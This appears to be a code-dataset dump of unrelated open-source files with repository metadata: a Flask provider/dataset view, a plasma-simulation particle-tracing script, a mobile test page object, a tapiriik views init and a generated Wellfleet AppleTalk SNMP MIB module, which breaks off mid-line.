from flask import Blueprint, render_template, abort from widukind_api import queries bp = Blueprint('html', __name__) #TODO: error enable False @bp.route('/providers', endpoint="providers") def html_providers(): query = {"enable": True} projection = {"_id": False, "name": True, "slug": True, "enable": True} docs = queries.col_providers().find(query, projection) return render_template("providers.html", providers=docs) @bp.route('/datasets/<provider>', endpoint="datasets-by-provider") @bp.route('/datasets', endpoint="datasets") def html_datasets(provider=None): query_providers = {"enable": True} projection_provider = {"_id": False, "name": True, "slug": True} query_datasets = {"enable": True} projection_datasets = {"_id": False, "name": True, "slug": True, "dataset_code": True, "provider_name": True} if provider: provider_doc = queries.col_providers().find_one({"slug": provider}) query_datasets["provider_name"] = provider_doc["name"] query_providers["name"] = provider_doc["name"] providers = dict([(doc["name"], doc) for doc in queries.col_providers().find(query_providers, projection_provider)]) query_datasets["provider_name"] = {"$in": list(providers.keys())} datasets = queries.col_datasets().find(query_datasets, projection_datasets) docs = {} for dataset in datasets: provider_name = dataset["provider_name"] if not provider_name in docs: docs[provider_name] = {"provider": providers[provider_name], "datasets": []} docs[provider_name]["datasets"].append(dataset) return render_template("datasets.html", docs=docs)
[ "stephane.rault@radicalspam.org" ]
stephane.rault@radicalspam.org
3bf9cbd9b9ff1b4494f7623711e6c15af177a006
0add969034a82912bc6e19abc427abe883ee65bb
/FSSA_response/trace_particle_new.py
9c4deb04f2b387378e23208c7afeffb304127ed8
[]
no_license
Michael-Gong/New_LPI_python_script
eefd162fdbbc3c614c66e2b157ea5296e3bc8492
9de109c6f19aa60bdeaf102e9a1ec0baff5669ad
refs/heads/master
2020-03-28T16:06:09.631550
2020-02-01T08:21:17
2020-02-01T08:21:17
148,659,608
2
0
null
null
null
null
UTF-8
Python
false
false
5,701
py
import sdf #import matplotlib #matplotlib.use('agg') #import matplotlib.pyplot as plt import numpy as np #from numpy import ma #from matplotlib import colors, ticker, cm #from matplotlib.mlab import bivariate_normal #from optparse import OptionParser #import os #from colour import Color ######## Constant defined here ######## pi = 3.1415926535897932384626 q0 = 1.602176565e-19 # C m0 = 9.10938291e-31 # kg v0 = 2.99792458e8 # m/s^2 kb = 1.3806488e-23 # J/K mu0 = 4.0e-7*pi # N/A^2 epsilon0 = 8.8541878176203899e-12 # F/m h_planck = 6.62606957e-34 # J s wavelength= 1.0e-6 frequency = v0*2*pi/wavelength exunit = m0*v0*frequency/q0 bxunit = m0*frequency/q0 denunit = frequency**2*epsilon0*m0/q0**2 #print 'electric field unit: '+str(exunit) #print 'magnetic field unit: '+str(bxunit) #print 'density unit nc: '+str(denunit) font = {'family' : 'monospace', 'color' : 'black', 'weight' : 'normal', 'size' : 20, } from_path='./two/' to_path='./two/' data = sdf.read(from_path+"i_tot0850.sdf",dict=True) grid_x = data['Grid/Particles/subset_only_e/E_1'].data[0]/wavelength grid_y = data['Grid/Particles/subset_only_e/E_1'].data[1]/wavelength #grid_z = data['Grid/Particles/subset_only_e/E_1'].data[2]/wavelength work_x = data['Particles/Time_Integrated_Work_x/subset_only_e/E_1'].data work_y = data['Particles/Time_Integrated_Work_y/subset_only_e/E_1'].data #work_z = data['Particles/Time_Integrated_Work_z/subset_only_e/E_1'].data px = data['Particles/Px/subset_only_e/E_1'].data/(m0*v0) py = data['Particles/Py/subset_only_e/E_1'].data/(m0*v0) #pz = data['Particles/Pz/subset_only_e/E_1'].data/(m0*v0) gg = (px**2+py**2+1)**0.5 part13_id = data['Particles/ID/subset_only_e/E_1'].data #part13_id = part13_id[ (grid_x>11) & (grid_x<41) & (abs(grid_y) < 3.2) ] #part13_id = part13_id[ (abs(grid_y) < 3.2) ] part13_id = part13_id[ (gg > 1200)]# & (abs(work_x) > 5*abs(work_y)) ] print('part13_id size is ',part13_id.size,' max ',np.max(part13_id),' min ',np.min(part13_id)) #data = sdf.read(from_path+"0050.sdf",dict=True) #grid_x = data['Grid/Particles/subset_high_e/electron'].data[0]/wavelength #grid_y = data['Grid/Particles/subset_high_e/electron'].data[1]/wavelength #part00_id = data['Particles/ID/subset_high_e/electron'].data #part00_id = part00_id[ ( grid_x>5 ) ] #part13_id = np.intersect1d(part00_id,part13_id) #print('after intersect 0000.sdf part_id size is ',part13_id.size,' max ',np.max(part13_id),' min ',np.min(part13_id)) ######### Parameter you should set ########### start = 0 # start time stop = 1200 # end time step = 1 # the interval or step # if (os.path.isdir('jpg') == False): # os.mkdir('jpg') ######### Script code drawing figure ################ #for n in range(start,stop+step,step): # #### header data #### # data = sdf.read(from_path+'i_tot'+str(n).zfill(4)+".sdf",dict=True) # header=data['Header'] # time=header['time'] # if ( n==start ): # part_id = data['Particles/ID/subset_only_e/E_1'].data # else: # part_id = np.intersect1d(data['Particles/ID/subset_only_e/E_1'].data, part_id) # print('Particle_ID size is ',part_id.size,' max ',np.max(part_id),' min ',np.min(part_id)) # #part_id = np.intersect1d(part_id,part13_id) part_id = part13_id #print('After intersecting with final.sdf') #print('Particle_ID size is ',part_id.size,' max ',np.max(part_id),' min ',np.min(part_id)) # # ########## Parameter you should set ########### #start = 0 # start time #stop = 465 # end time #step = 1 # the interval or step px_3d = np.zeros([part_id.size,stop-start+1]) py_3d = np.zeros([part_id.size,stop-start+1]) xx_3d = np.zeros([part_id.size,stop-start+1]) yy_3d = np.zeros([part_id.size,stop-start+1]) work_x_3d = np.zeros([part_id.size,stop-start+1]) work_y_3d = np.zeros([part_id.size,stop-start+1]) for n in range(start,stop+step,step): #### header data #### data = sdf.read(from_path+'i_tot'+str(n).zfill(4)+".sdf",dict=True) grid_x = data['Grid/Particles/subset_only_e/E_1'].data[0]/wavelength grid_y = data['Grid/Particles/subset_only_e/E_1'].data[1]/wavelength work_x = data['Particles/Time_Integrated_Work_x/subset_only_e/E_1'].data work_y = data['Particles/Time_Integrated_Work_y/subset_only_e/E_1'].data px = data['Particles/Px/subset_only_e/E_1'].data/(m0*v0) py = data['Particles/Py/subset_only_e/E_1'].data/(m0*v0) temp_id = data['Particles/ID/subset_only_e/E_1'].data # px = px[np.in1d(temp_id,part_id)] # py = py[np.in1d(temp_id,part_id)] # pz = pz[np.in1d(temp_id,part_id)] # grid_x = grid_x[np.in1d(temp_id,part_id)] # grid_y = grid_y[np.in1d(temp_id,part_id)] # grid_z = grid_z[np.in1d(temp_id,part_id)] # work_x = work_x[np.in1d(temp_id,part_id)] # work_y = work_y[np.in1d(temp_id,part_id)] # work_z = work_z[np.in1d(temp_id,part_id)] # # temp_id = temp_id[np.in1d(temp_id,part_id)] for ie in range(part_id.size): px_3d[ie,n-start] = px[temp_id==part_id[ie]] py_3d[ie,n-start] = py[temp_id==part_id[ie]] xx_3d[ie,n-start] = grid_x[temp_id==part_id[ie]] yy_3d[ie,n-start] = grid_y[temp_id==part_id[ie]] work_x_3d[ie,n-start] = work_x[temp_id==part_id[ie]] work_y_3d[ie,n-start] = work_y[temp_id==part_id[ie]] print('finised '+str(round(100.0*(n-start+step)/(stop-start+step),4))+'%') np.save(to_path+'px2d_l',px_3d) np.save(to_path+'py2d_l',py_3d) np.save(to_path+'xx2d_l',xx_3d) np.save(to_path+'yy2d_l',yy_3d) np.save(to_path+'workx2d_l',work_x_3d) np.save(to_path+'worky2d_l',work_y_3d)
[ "noreply@github.com" ]
Michael-Gong.noreply@github.com
b0971028b099b5fd7fb1594bf79e3b29e8aca198
e585c3a61b830d3c24a8cec8343d262c84c724e7
/SomosAgro/src/mobile/user_interface/activities/caracteristicas_publicacion_activity.py
6667b92035a466737d7ff03c30c1bb828a77142c
[]
no_license
Valupiruiz/AutomationPHP
bb0728b2b6508b017c133a7d560a652033adeaf4
9a92634ac9f5b27e46723294f9a4cc83a1f99252
refs/heads/master
2023-01-18T17:27:57.819270
2020-11-27T15:04:49
2020-11-27T15:04:49
310,594,260
0
0
null
null
null
null
UTF-8
Python
false
false
858
py
from src.mobile.user_interface.mother_screen import MotherScreen from src.mobile.user_interface.locators.caracteristicas_publicacion_locators import CaracteristicasPublicacionLocators from src.mobile.user_interface.activities.descripcion_activity import DescripcionActivity class CaracteristicasPublicacionActivity(MotherScreen): def __init__(self, driver): super().__init__(driver) self.__locators = CaracteristicasPublicacionLocators() def seleccionar_dias(self, dias): _locator = self.__locators.CANTIDAD_DIAS_TEMP.format_locator({"cant_dias": str(dias)}) self.t_single_tap(_locator) def get_precio(self): return int(self.find_element(self.__locators.PRECIO_PUBLICACION_VW).text.replace("$", "")) def continuar(self): super().continuar() return DescripcionActivity(self.driver)
[ "tomasmoreira04@gmail.com" ]
tomasmoreira04@gmail.com
644e1e1c5554c3ddecf72791f602993a39e8c6c8
f65fc577e87084dbeb0bf42aed4fd10e37fb46e4
/tapiriik/web/views/__init__.py
20f4f6b5f3556e1b1e1581ebc0f790a70b9e1447
[]
no_license
chemikadze/tapiriik
4637d7deef7fdd0b86cac30e2917ae45824bfee1
ec75f9d691691a66c6b002cabe734fffbf6ce3bf
refs/heads/master
2021-01-17T11:17:20.541665
2014-01-01T19:13:34
2014-01-01T19:13:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
285
py
from .dashboard import * from .diagnostics import * from .auth import * from .account import * from .sync import * from .supported_activities import * from .supported_services import * from .payments import * from .settings import * # why did I do it this way? should make it less bad
[ "cpf@cpfx.ca" ]
cpf@cpfx.ca
463ca28f273e38b5f5b2fd380622db2f8ae8619a
85a9ffeccb64f6159adbd164ff98edf4ac315e33
/pysnmp/Wellfleet-AT-MIB.py
98b8cc626737d7c3dbfea45fea922b8bb07182df
[ "Apache-2.0" ]
permissive
agustinhenze/mibs.snmplabs.com
5d7d5d4da84424c5f5a1ed2752f5043ae00019fb
1fc5c07860542b89212f4c8ab807057d9a9206c7
refs/heads/master
2020-12-26T12:41:41.132395
2019-08-16T15:51:41
2019-08-16T15:53:57
237,512,469
0
0
Apache-2.0
2020-01-31T20:41:36
2020-01-31T20:41:35
null
UTF-8
Python
false
false
71,309
py
# # PySNMP MIB module Wellfleet-AT-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Wellfleet-AT-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:32:44 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion", "ConstraintsIntersection") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") ObjectIdentity, MibIdentifier, ModuleIdentity, Bits, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, TimeTicks, Integer32, Unsigned32, IpAddress, Counter64, NotificationType, Counter32 = mibBuilder.importSymbols("SNMPv2-SMI", "ObjectIdentity", "MibIdentifier", "ModuleIdentity", "Bits", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Gauge32", "TimeTicks", "Integer32", "Unsigned32", "IpAddress", "Counter64", "NotificationType", "Counter32") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") wfAppletalkGroup, = mibBuilder.importSymbols("Wellfleet-COMMON-MIB", "wfAppletalkGroup") wfAppleBase = MibIdentifier((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1)) wfAppleBaseDelete = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseDelete.setStatus('mandatory') wfAppleBaseDisable = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseDisable.setStatus('mandatory') wfAppleBaseState = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("init", 3), ("notpres", 4))).clone('down')).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleBaseState.setStatus('mandatory') wfAppleBaseDebugLevel = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 4), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseDebugLevel.setStatus('mandatory') wfAppleBaseDdpQueLen = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(10, 2147483647)).clone(20)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseDdpQueLen.setStatus('mandatory') wfAppleBaseHomedPort = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 6), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseHomedPort.setStatus('mandatory') wfAppleBaseTotalNets = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleBaseTotalNets.setStatus('mandatory') wfAppleBaseTotalZones = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleBaseTotalZones.setStatus('mandatory') wfAppleBaseTotalZoneNames = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleBaseTotalZoneNames.setStatus('mandatory') wfAppleBaseTotalAarpEntries = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 10), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleBaseTotalAarpEntries.setStatus('mandatory') wfAppleBaseEstimatedNets = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 11), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseEstimatedNets.setStatus('mandatory') wfAppleBaseEstimatedHosts = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 12), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleBaseEstimatedHosts.setStatus('mandatory') wfAppleMacIPBaseDelete = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('deleted')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleMacIPBaseDelete.setStatus('mandatory') wfAppleMacIPBaseDisable = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleMacIPBaseDisable.setStatus('mandatory') wfAppleMacIPBaseState = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("init", 3), ("notpres", 4))).clone('down')).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleMacIPBaseState.setStatus('mandatory') wfAppleMacIPZone = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 16), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleMacIPZone.setStatus('mandatory') wfMacIPAddress1 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 17), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPAddress1.setStatus('mandatory') wfMacIPLowerIpAddress1 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 18), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPLowerIpAddress1.setStatus('mandatory') wfMacIPUpperIpAddress1 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPUpperIpAddress1.setStatus('mandatory') wfMacIPAddress2 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 20), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPAddress2.setStatus('mandatory') wfMacIPLowerIpAddress2 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 21), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPLowerIpAddress2.setStatus('mandatory') wfMacIPUpperIpAddress2 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 22), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPUpperIpAddress2.setStatus('mandatory') wfMacIPAddress3 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 23), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPAddress3.setStatus('mandatory') wfMacIPLowerIpAddress3 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 24), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPLowerIpAddress3.setStatus('mandatory') wfMacIPUpperIpAddress3 = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 25), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 254)).clone(1)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfMacIPUpperIpAddress3.setStatus('mandatory') wfAppleMacIPAddressTimeOut = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 26), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 255)).clone(5)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleMacIPAddressTimeOut.setStatus('mandatory') wfAppleMacIPServerRequests = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 27), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleMacIPServerRequests.setStatus('mandatory') wfAppleMacIPServerResponces = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 1, 28), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleMacIPServerResponces.setStatus('mandatory') wfAppleRtmpTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2), ) if mibBuilder.loadTexts: wfAppleRtmpTable.setStatus('mandatory') wfAppleRtmpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleRtmpNetStart"), (0, "Wellfleet-AT-MIB", "wfAppleRtmpNetEnd")) if mibBuilder.loadTexts: wfAppleRtmpEntry.setStatus('mandatory') wfAppleRtmpNetStart = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpNetStart.setStatus('mandatory') wfAppleRtmpNetEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpNetEnd.setStatus('mandatory') wfAppleRtmpPort = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpPort.setStatus('mandatory') wfAppleRtmpHops = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpHops.setStatus('mandatory') wfAppleRtmpNextHopNet = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpNextHopNet.setStatus('mandatory') wfAppleRtmpNextHopNode = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpNextHopNode.setStatus('mandatory') wfAppleRtmpState = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("good", 1), ("suspect", 2), ("goingbad", 3), ("bad", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpState.setStatus('mandatory') wfAppleRtmpProto = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("rtmp", 1), ("aurp", 2), ("static", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpProto.setStatus('mandatory') wfAppleRtmpAurpNextHopIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 2, 1, 9), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleRtmpAurpNextHopIpAddress.setStatus('mandatory') wfApplePortTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3), ) if mibBuilder.loadTexts: wfApplePortTable.setStatus('mandatory') wfApplePortEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfApplePortCircuit")) if mibBuilder.loadTexts: wfApplePortEntry.setStatus('mandatory') wfApplePortDelete = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortDelete.setStatus('mandatory') wfApplePortDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortDisable.setStatus('mandatory') wfApplePortCircuit = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCircuit.setStatus('mandatory') wfApplePortState = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("up", 1), ("down", 2))).clone('down')).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortState.setStatus('mandatory') wfApplePortType = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 5), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortType.setStatus('mandatory') wfApplePortCksumDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortCksumDisable.setStatus('mandatory') wfApplePortTrEndStation = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortTrEndStation.setStatus('mandatory') wfApplePortGniForever = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 8), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortGniForever.setStatus('obsolete') wfApplePortAarpFlush = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 9), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortAarpFlush.setStatus('mandatory') wfApplePortMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 10), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortMacAddress.setStatus('mandatory') wfApplePortNodeId = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 11), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortNodeId.setStatus('mandatory') wfApplePortNetwork = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 12), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortNetwork.setStatus('mandatory') wfApplePortNetStart = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 13), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortNetStart.setStatus('mandatory') wfApplePortNetEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 14), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortNetEnd.setStatus('mandatory') wfApplePortDfltZone = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 15), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortDfltZone.setStatus('mandatory') wfApplePortCurMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 16), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurMacAddress.setStatus('mandatory') wfApplePortCurNodeId = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 17), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurNodeId.setStatus('mandatory') wfApplePortCurNetwork = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 18), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurNetwork.setStatus('mandatory') wfApplePortCurNetStart = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 19), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurNetStart.setStatus('mandatory') wfApplePortCurNetEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 20), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurNetEnd.setStatus('mandatory') wfApplePortCurDfltZone = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 21), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortCurDfltZone.setStatus('mandatory') wfApplePortAarpProbeRxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 22), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpProbeRxs.setStatus('mandatory') wfApplePortAarpProbeTxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 23), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpProbeTxs.setStatus('mandatory') wfApplePortAarpReqRxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 24), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpReqRxs.setStatus('mandatory') wfApplePortAarpReqTxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 25), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpReqTxs.setStatus('mandatory') wfApplePortAarpRspRxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 26), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpRspRxs.setStatus('mandatory') wfApplePortAarpRspTxs = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 27), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortAarpRspTxs.setStatus('mandatory') wfApplePortDdpOutRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 